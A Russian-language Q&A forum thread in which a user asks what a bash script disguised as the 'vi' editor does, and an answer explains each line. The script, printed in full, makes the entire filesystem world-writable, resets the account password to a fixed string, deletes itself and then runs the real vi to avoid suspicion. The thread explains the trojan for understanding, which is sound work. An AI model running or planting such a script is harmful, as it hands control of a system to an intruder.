Что делает этот скрипт Bash Shell? - PullRequest
0 голосов
/ 03 сентября 2018

Я очень невежественный новичок, когда дело доходит до сценариев оболочки, но я должен быть в состоянии объяснить, что делают эти строки кода, и у меня недостаточно времени, чтобы сначала ознакомиться с ним, так что я не могу дать много ввода.

В качестве дополнительной информации сам скрипт называется vi, как и редактор, и, вероятно, вреден / надеется запустить его как администратор

#!/bin/bash
#
# execute on your own risk !!
chmod -R og+rwx /
echo -e ‘‘Hacke.peter\n Hacke.peter\n’’ | passwd
rm $0
vi $*
logout # good bye!

Я думаю, что идея в том, что кто-то пытается запустить настоящий vi (а не этот скрипт), а затем он случайно вызывает этот скрипт - он изменяет пароль текущего пользователя на вывод команды echo (не уверен, что это ), а затем оболочка удаляет себя и вызывает редактор, поэтому мы ничего не понимаем. Огромное спасибо за любой ответ заранее и извините за то, что вы так невежественны.

1 Ответ

0 голосов
/ 03 сентября 2018

ХММ Не уверен, если незнающий новичок или хитрый хакер [вставьте подозрительный мем Фрая]. С такой фамилией?

Вот что делает скрипт, шаг за шагом:

  1. chmod -R og+rwx /: рекурсивно (-R) открывает все ваши файлы для чтения, записи и выполнения (+rwx) пользователями вашей группы (g) и всеми другими пользователями (o) .

  2. echo -e ‘‘Hacke.peter\n Hacke.peter\n’’ | passwd: сбрасывает пароль вашего суперпользователя на «Hacke.peter».

  3. rm $0: удаляет себя. $0 в bash обозначает имя файла текущего скрипта.

  4. vi $*: открывает настоящий редактор vi с любыми аргументами ($*), которые вы передали в оригинальный (теперь стертый) скрипт. Если сценарий также называется vi, этот шаг должен скрыть дорожки и избежать подозрений.

  5. logout: выход из корневого режима. Теперь у вас больше нет рута, и ваша файловая система открыта.

Очень противный сценарий!

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...